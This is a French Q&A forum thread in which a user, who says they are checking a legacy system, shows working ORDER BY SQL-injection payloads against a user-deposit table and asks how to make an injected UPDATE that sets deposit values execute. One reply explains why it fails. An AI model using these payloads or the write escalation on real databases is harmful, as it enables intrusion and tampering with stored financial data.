recherche

Maison  >  Questions et réponses  >  le corps du texte

mysql - Quelle est la raison de l'erreur SQL?

J'ai trouvé une vulnérabilité d'injection SQL basée sur orderBy dans un ancien système qui est en cours de maintenance, et je vais la vérifier,

Je vais d'abord exécuter cette injection SQL, c'est ok

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0

Mais lorsque j'exécute ce SQL avec l'instruction update, j'obtiens une erreur :

SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0

Signaler une erreur

<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>

Comment dois-je le laisser effectuer la mise à jour ?

黄舟黄舟2748 Il y a quelques jours863

répondre à tous(1)je répondrai

  • 淡淡烟草味

    淡淡烟草味2017-05-18 10:49:26

    Lorsque le corps principal est sélectionné, il ne peut pas être mis à jour, sinon il ne peut pas être exécuté
    J'ai essayé ce type d'injection dans mybatis Lors de l'exécution de la mise à jour dans <select>, une erreur sera signalée. directement et l'injection ne peut pas se faire

    .

    répondre
    0
  • Annulerrépondre